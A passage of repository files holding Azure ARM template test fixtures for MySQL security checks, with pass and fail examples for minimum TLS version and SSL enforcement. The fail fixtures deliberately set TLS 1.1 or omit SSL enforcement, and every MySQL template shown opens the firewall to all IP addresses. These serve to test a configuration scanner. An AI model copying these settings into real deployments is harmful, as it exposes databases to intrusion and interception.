parameters('guid'), '-', copyIndex())]\",\n            \"copy\": {\n                \"count\": \"[if(greater(length(variables('firewallRules')), 0), length(variables('firewallRules')), 1)]\",\n                \"mode\": \"Serial\",\n                \"name\": \"firewallRulesIterator\"\n            },\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\",\n                \"[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]\"\n            ],\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/firewallRules\",\n                            \"name\": \"[concat(parameters('serverName'),'/',variables('firewallRules')[copyIndex()].name)]\",\n                            \"apiVersion\": \"[parameters('firewallRulesAPIVersion')]\",\n                            \"properties\": {\n                                \"StartIpAddress\": \"[variables('firewallRules')[copyIndex()].startIPAddress]\",\n                                \"EndIpAddress\": \"[variables('firewallRules')[copyIndex()].endIPAddress]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[parameters('aadEnabled')]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"name\": \"[concat('addAdmins-', parameters('guid'))]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\"\n            ],\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/administrators\",\n                            \"name\": \"[concat(parameters('serverName'),'/ActiveDirectory')]\",\n                            \"apiVersion\": \"[variables('api')]\",\n                            \"properties\": {\n                                \"administratorType\": \"[parameters('aadData').administratorType]\",\n                                \"identityResourceId\": \"[parameters('aadData').identityResourceId]\",\n                                \"login\": \"[parameters('aadData').login]\",\n                                \"sid\": \"[parameters('aadData').sid]\",\n                                \"tenantId\": \"[parameters('aadData').tenantId]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[and(greater(length(variables('serverParameters')), 0), parameters('aadEnabled'))]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"copy\": {\n                \"count\": \"[if(greater(length(variables('serverParameters')), 0), length(variables('serverParameters')), 1)]\",\n                \"mode\": \"serial\",\n                \"name\": \"serverParametersIterator\"\n            },\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\",\n                \"[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]\"\n            ],\n            \"name\": \"[concat('serverParameters-', copyIndex(), '-', parameters('guid'))]\",\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/configurations\",\n                            \"name\": \"[concat(parameters('serverName'),'/',variables('serverParameters')[copyIndex()].name)]\",\n                            \"apiVersion\": \"[variables('api')]\",\n                            \"properties\": {\n                                \"value\": \"[variables('serverParameters')[copyIndex()].value]\",\n                                \"source\": \"[variables('serverParameters')[copyIndex()].source]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_MySQLServerMinTLSVersion/fail.json",
    "content": "\n{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.26.54.24096\",\n      \"templateHash\": \"1923296876861958074\"\n    }\n  },\n  \"parameters\": {\n    \"serverName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Server Name for Azure database for MySQL\"\n      }\n    },\n    \"administratorLogin\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"Database administrator login name\"\n      }\n    },\n    \"administratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"minLength\": 8,\n      \"metadata\": {\n        \"description\": \"Database administrator password\"\n      }\n    },\n    \"skuCapacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL compute capacity in vCores (2,4,8,16,32)\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GP_Gen5_2\",\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL sku name \"\n      }\n    },\n    \"SkuSizeMB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 5120,\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL Sku Size \"\n      }\n    },\n    \"SkuTier\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GeneralPurpose\",\n      \"allowedValues\": [\n        \"Basic\",\n        \"GeneralPurpose\",\n        \"MemoryOptimized\"\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL pricing tier\"\n      }\n    },\n    \"skuFamily\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Gen5\",\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL sku family\"\n      }\n    },\n    \"mysqlVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"8.0\",\n      \"allowedValues\": [\n        \"5.6\",\n        \"5.7\",\n        \"8.0\"\n      ],\n      \"metadata\": {\n        \"description\": \"MySQL version\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"backupRetentionDays\": {\n      \"type\": \"int\",\n      \"defaultValue\": 7,\n      \"metadata\": {\n        \"description\": \"MySQL Server backup retention days\"\n      }\n    },\n    \"geoRedundantBackup\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Disabled\",\n      \"metadata\": {\n        \"description\": \"Geo-Redundant Backup setting\"\n      }\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azure_mysql_vnet\",\n      \"metadata\": {\n        \"description\": \"Virtual Network Name\"\n      }\n    },\n    \"subnetName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azure_mysql_subnet\",\n      \"metadata\": {\n        \"description\": \"Subnet Name\"\n      }\n    },\n    \"virtualNetworkRuleName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AllowSubnet\",\n      \"metadata\": {\n        \"description\": \"Virtual Network RuleName\"\n      }\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Virtual Network Address Prefix\"\n      }\n    },\n    \"subnetPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Subnet Address Prefix\"\n      }\n    }\n  },\n  \"variables\": {\n    \"firewallrules\": [\n      {\n        \"Name\": \"rule1\",\n        \"StartIpAddress\": \"0.0.0.0\",\n        \"EndIpAddress\": \"255.255.255.255\"\n      },\n      {\n        \"Name\": \"rule2\",\n        \"StartIpAddress\": \"0.0.0.0\",\n        \"EndIpAddress\": \"255.255.255.255\"\n      }\n    ]\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DBforMySQL/servers/virtualNetworkRules\",\n      \"apiVersion\": \"2017-12-01\",\n      \"name\": \"[format('{0}/{1}', parameters('serverName'), parameters('virtualNetworkRuleName'))]\",\n      \"properties\": {\n        \"virtualNetworkSubnetId\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]\",\n        \"ignoreMissingVnetServiceEndpoint\": true\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.DBforMySQL/servers', parameters('serverName'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"apiVersion\": \"2023-09-01\",\n      \"name\": \"[parameters('virtualNetworkName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks/subnets\",\n      \"apiVersion\": \"2023-09-01\",\n      \"name\": \"[format('{0}/{1}', parameters('virtualNetworkName'), parameters('subnetName'))]\",\n      \"properties\": {\n        \"addressPrefix\": \"[parameters('subnetPrefix')]\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.DBforMySQL/servers\",\n      \"apiVersion\": \"2017-12-01\",\n      \"name\": \"fail\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('skuName')]\",\n        \"tier\": \"[parameters('SkuTier')]\",\n        \"capacity\": \"[parameters('skuCapacity')]\",\n        \"size\": \"[format('{0}', parameters('SkuSizeMB'))]\",\n        \"family\": \"[parameters('skuFamily')]\"\n      },\n      \"properties\": {\n        \"createMode\": \"Default\",\n        \"version\": \"[parameters('mysqlVersion')]\",\n        \"administratorLogin\": \"[parameters('administratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n        \"storageProfile\": {\n          \"storageMB\": \"[parameters('SkuSizeMB')]\",\n          \"backupRetentionDays\": \"[parameters('backupRetentionDays')]\",\n          \"geoRedundantBackup\": \"[parameters('geoRedundantBackup')]\"\n        },\n        \"minimalTlsVersion\": \"TLS1_1\",\n        \"sslEnforcement\": \"Enabled\"\n      }\n    },\n    {\n      \"copy\": {\n        \"name\": \"firewallRules\",\n        \"count\": \"[length(variables('firewallrules'))]\",\n        \"mode\": \"serial\",\n        \"batchSize\": 1\n      },\n      \"type\": \"Microsoft.DBforMySQL/servers/firewallRules\",\n      \"apiVersion\": \"2017-12-01\",\n      \"name\": \"[format('{0}/{1}', parameters('serverName'), variables('firewallrules')[copyIndex()].Name)]\",\n      \"properties\": {\n        \"startIpAddress\": \"[variables('firewallrules')[copyIndex()].StartIpAddress]\",\n        \"endIpAddress\": \"[variables('firewallrules')[copyIndex()].EndIpAddress]\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.DBforMySQL/servers', parameters('serverName'))]\"\n      ]\n    }\n  ],\n  \"outputs\": {\n    \"location\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('location')]\"\n    },\n    \"name\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('serverName')]\"\n    },\n    \"resourceGroupName\": {\n      \"type\": \"string\",\n      \"value\": \"[resourceGroup().name]\"\n    },\n    \"resourceId\": {\n      \"type\": \"string\",\n      \"value\": \"[resourceId('Microsoft.DBforMySQL/servers', parameters('serverName'))]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_MySQLServerMinTLSVersion/pass.json",
    "content": "\n{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.26.54.24096\",\n      \"templateHash\": \"1923296876861958074\"\n    }\n  },\n  \"parameters\": {\n    \"serverName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Server Name for Azure database for MySQL\"\n      }\n    },\n    \"administratorLogin\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"Database administrator login name\"\n      }\n    },\n    \"administratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"minLength\": 8,\n      \"metadata\": {\n        \"description\": \"Database administrator password\"\n      }\n    },\n    \"skuCapacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL compute capacity in vCores (2,4,8,16,32)\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GP_Gen5_2\",\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL sku name \"\n      }\n    },\n    \"SkuSizeMB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 5120,\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL Sku Size \"\n      }\n    },\n    \"SkuTier\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GeneralPurpose\",\n      \"allowedValues\": [\n        \"Basic\",\n        \"GeneralPurpose\",\n        \"MemoryOptimized\"\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL pricing tier\"\n      }\n    },\n    \"skuFamily\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Gen5\",\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL sku family\"\n      }\n    },\n    \"mysqlVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"8.0\",\n      \"allowedValues\": [\n        \"5.6\",\n        \"5.7\",\n        \"8.0\"\n      ],\n      \"metadata\": {\n        \"description\": \"MySQL version\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"backupRetentionDays\": {\n      \"type\": \"int\",\n      \"defaultValue\": 7,\n      \"metadata\": {\n        \"description\": \"MySQL Server backup retention days\"\n      }\n    },\n    \"geoRedundantBackup\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Disabled\",\n      \"metadata\": {\n        \"description\": \"Geo-Redundant Backup setting\"\n      }\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azure_mysql_vnet\",\n      \"metadata\": {\n        \"description\": \"Virtual Network Name\"\n      }\n    },\n    \"subnetName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azure_mysql_subnet\",\n      \"metadata\": {\n        \"description\": \"Subnet Name\"\n      }\n    },\n    \"virtualNetworkRuleName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AllowSubnet\",\n      \"metadata\": {\n        \"description\": \"Virtual Network RuleName\"\n      }\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Virtual Network Address Prefix\"\n      }\n    },\n    \"subnetPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Subnet Address Prefix\"\n      }\n    }\n  },\n  \"variables\": {\n    \"firewallrules\": [\n      {\n        \"Name\": \"rule1\",\n        \"StartIpAddress\": \"0.0.0.0\",\n        \"EndIpAddress\": \"255.255.255.255\"\n      },\n      {\n        \"Name\": \"rule2\",\n        \"StartIpAddress\": \"0.0.0.0\",\n        \"EndIpAddress\": \"255.255.255.255\"\n      }\n    ]\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DBforMySQL/servers/virtualNetworkRules\",\n      \"apiVersion\": \"2017-12-01\",\n      \"name\": \"[format('{0}/{1}', parameters('serverName'), parameters('virtualNetworkRuleName'))]\",\n      \"properties\": {\n        \"virtualNetworkSubnetId\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]\",\n        \"ignoreMissingVnetServiceEndpoint\": true\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.DBforMySQL/servers', parameters('serverName'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"apiVersion\": \"2023-09-01\",\n      \"name\": \"[parameters('virtualNetworkName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks/subnets\",\n      \"apiVersion\": \"2023-09-01\",\n      \"name\": \"[format('{0}/{1}', parameters('virtualNetworkName'), parameters('subnetName'))]\",\n      \"properties\": {\n        \"addressPrefix\": \"[parameters('subnetPrefix')]\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.DBforMySQL/servers\",\n      \"apiVersion\": \"2017-12-01\",\n      \"name\": \"pass\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('skuName')]\",\n        \"tier\": \"[parameters('SkuTier')]\",\n        \"capacity\": \"[parameters('skuCapacity')]\",\n        \"size\": \"[format('{0}', parameters('SkuSizeMB'))]\",\n        \"family\": \"[parameters('skuFamily')]\"\n      },\n      \"properties\": {\n        \"createMode\": \"Default\",\n        \"version\": \"[parameters('mysqlVersion')]\",\n        \"administratorLogin\": \"[parameters('administratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n        \"storageProfile\": {\n          \"storageMB\": \"[parameters('SkuSizeMB')]\",\n          \"backupRetentionDays\": \"[parameters('backupRetentionDays')]\",\n          \"geoRedundantBackup\": \"[parameters('geoRedundantBackup')]\"\n        },\n        \"minimalTlsVersion\": \"TLS1_2\",\n        \"sslEnforcement\": \"Enabled\"\n      }\n    },\n    {\n      \"copy\": {\n        \"name\": \"firewallRules\",\n        \"count\": \"[length(variables('firewallrules'))]\",\n        \"mode\": \"serial\",\n        \"batchSize\": 1\n      },\n      \"type\": \"Microsoft.DBforMySQL/servers/firewallRules\",\n      \"apiVersion\": \"2017-12-01\",\n      \"name\": \"[format('{0}/{1}', parameters('serverName'), variables('firewallrules')[copyIndex()].Name)]\",\n      \"properties\": {\n        \"startIpAddress\": \"[variables('firewallrules')[copyIndex()].StartIpAddress]\",\n        \"endIpAddress\": \"[variables('firewallrules')[copyIndex()].EndIpAddress]\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.DBforMySQL/servers', parameters('serverName'))]\"\n      ]\n    }\n  ],\n  \"outputs\": {\n    \"location\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('location')]\"\n    },\n    \"name\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('serverName')]\"\n    },\n    \"resourceGroupName\": {\n      \"type\": \"string\",\n      \"value\": \"[resourceGroup().name]\"\n    },\n    \"resourceId\": {\n      \"type\": \"string\",\n      \"value\": \"[resourceId('Microsoft.DBforMySQL/servers', parameters('serverName'))]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_MySQLServerSSLEnforcementEnabled/mysqlSSLEnforcementEnabled-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"serverName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Server Name for Azure database for MySQL\"\n      }\n    },\n    \"administratorLogin\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"Database administrator login name\"\n      }\n    },\n    \"administratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"minLength\": 8,\n      \"metadata\": {\n        \"description\": \"Database administrator password\"\n      }\n    },\n    \"skuCapacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL compute capacity in vCores (2,4,8,16,32)\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GP_Gen5_2\",\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL sku name \"\n      }\n    },\n    \"SkuSizeMB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 5120,\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL Sku Size \"\n      }\n    },\n    \"SkuTier\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GeneralPurpose\",\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL pricing tier\"\n      }\n    },\n    \"skuFamily\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Gen5\",\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL sku family\"\n      }\n    },\n    \"mysqlVersion\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"5.6\",\n        \"5.7\"\n      ],\n      \"defaultValue\": \"5.7\",\n      \"metadata\": {\n        \"description\": \"MySQL version\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"backupRetentionDays\": {\n      \"type\": \"int\",\n      \"defaultValue\": 7,\n      \"metadata\": {\n        \"description\": \"MySQL Server backup retention days\"\n      }\n    },\n    \"geoRedundantBackup\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Disabled\",\n      \"metadata\": {\n        \"description\": \"Geo-Redundant Backup setting\"\n      }\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azure_mysql_vnet\",\n      \"metadata\": {\n        \"description\": \"Virtual Network Name\"\n      }\n    },\n    \"subnetName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azure_mysql_subnet\",\n      \"metadata\": {\n        \"description\": \"Subnet Name\"\n      }\n    },\n    \"virtualNetworkRuleName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AllowSubnet\",\n      \"metadata\": {\n        \"description\": \"Virtual Network RuleName\"\n      }\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Virtual Network Address Prefix\"\n      }\n    },\n    \"subnetPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Subnet Address Prefix\"\n      }\n    }\n  },\n  \"variables\": {\n    \"firewallrules\": {\n      \"batch\": {\n        \"rules\": [\n          {\n            \"Name\": \"rule1\",\n            \"StartIpAddress\": \"0.0.0.0\",\n            \"EndIpAddress\": \"255.255.255.255\"\n          },\n          {\n            \"Name\": \"rule2\",\n            \"StartIpAddress\": \"0.0.0.0\",\n            \"EndIpAddress\": \"255.255.255.255\"\n          }\n        ]\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-06-01\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[parameters('virtualNetworkName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        }\n      },\n      \"resources\": [\n        {\n          \"apiVersion\": \"2018-06-01\",\n          \"type\": \"subnets\",\n          \"location\": \"[parameters('location')]\",\n          \"name\": \"[parameters('subnetName')]\",\n          \"dependsOn\": [\n            \"[parameters('virtualNetworkName')]\"\n          ],\n          \"properties\": {\n            \"addressPrefix\": \"[parameters('subnetPrefix')]\"\n          }\n        }\n      ]\n    },\n    {\n      \"apiVersion\": \"2017-12-01\",\n      \"type\": \"Microsoft.DBforMySQL/servers\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('serverName')]\",\n      \"sku\": {\n        \"name\": \"[parameters('skuName')]\",\n        \"tier\": \"[parameters('skuTier')]\",\n        \"capacity\": \"[parameters('skuCapacity')]\",\n        \"size\": \"[parameters('skuSizeMB')]\",\n        \"family\": \"[parameters('skuFamily')]\"\n      },\n      \"properties\": {\n        \"version\": \"[parameters('mysqlVersion')]\",\n        \"administratorLogin\": \"[parameters('administratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n        \"storageProfile\": {\n          \"storageMB\": \"[parameters('skuSizeMB')]\",\n          \"backupRetentionDays\": \"[parameters('backupRetentionDays')]\",\n          \"geoRedundantBackup\": \"[parameters('geoRedundantBackup')]\"\n        }\n      },\n      \"resources\": [\n        {\n          \"name\": \"[parameters('virtualNetworkRuleName')]\",\n          \"type\": \"virtualNetworkRules\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"virtualNetworkSubnetId\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]\",\n            \"ignoreMissingVnetServiceEndpoint\": true\n          },\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforMySQL/servers/', parameters('serverName'))]\"\n          ]\n        }\n      ]\n    },\n    {\n      \"name\": \"[concat(parameters('serverName'),'/',variables('firewallrules').batch.rules[copyIndex()].Name)]\",\n      \"type\": \"Microsoft.DBforMySQL/servers/firewallRules\",\n      \"apiVersion\": \"2017-12-01\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.DBforMySQL/servers/', parameters('serverName'))]\"\n      ],\n      \"copy\": {\n        \"name\": \"firewallRulesCopy\",\n        \"mode\": \"Serial\",\n        \"batchSize\": 1,\n        \"count\": \"[length(variables('firewallrules').batch.rules)]\"\n      },\n      \"properties\": {\n        \"StartIpAddress\": \"[variables('firewallrules').batch.rules[copyIndex()].StartIpAddress]\",\n        \"EndIpAddress\": \"[variables('firewallrules').batch.rules[copyIndex()].EndIpAddress]\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_MySQLServerSSLEnforcementEnabled/mysqlSSLEnforcementEnabled-FAILED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"serverName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Server Name for Azure database for MySQL\"\n      }\n    },\n    \"administratorLogin\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"Database administrator login name\"\n      }\n    },\n    \"administratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"minLength\": 8,\n      \"metadata\": {\n        \"description\": \"Database administrator password\"\n      }\n    },\n    \"skuCapacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL compute capacity in vCores (2,4,8,16,32)\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GP_Gen5_2\",\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL sku name \"\n      }\n    },\n    \"SkuSizeMB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 5120,\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL Sku Size \"\n      }\n    },\n    \"SkuTier\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GeneralPurpose\",\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL pricing tier\"\n      }\n    },\n    \"skuFamily\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Gen5\",\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL sku family\"\n      }\n    },\n    \"mysqlVersion\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"5.6\",\n        \"5.7\"\n      ],\n      \"defaultValue\": \"5.7\",\n      \"metadata\": {\n        \"description\": \"MySQL version\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"backupRetentionDays\": {\n      \"type\": \"int\",\n      \"defaultValue\": 7,\n      \"metadata\": {\n        \"description\": \"MySQL Server backup retention days\"\n      }\n    },\n    \"geoRedundantBackup\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Disabled\",\n      \"metadata\": {\n        \"description\": \"Geo-Redundant Backup setting\"\n      }\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azure_mysql_vnet\",\n      \"metadata\": {\n        \"description\": \"Virtual Network Name\"\n      }\n    },\n    \"subnetName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azure_mysql_subnet\",\n      \"metadata\": {\n        \"description\": \"Subnet Name\"\n      }\n    },\n    \"virtualNetworkRuleName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AllowSubnet\",\n      \"metadata\": {\n        \"description\": \"Virtual Network RuleName\"\n      }\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Virtual Network Address Prefix\"\n      }\n    },\n    \"subnetPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Subnet Address Prefix\"\n      }\n    }\n  },\n  \"variables\": {\n    \"firewallrules\": {\n      \"batch\": {\n        \"rules\": [\n          {\n            \"Name\": \"rule1\",\n            \"StartIpAddress\": \"0.0.0.0\",\n            \"EndIpAddress\": \"255.255.255.255\"\n          },\n          {\n            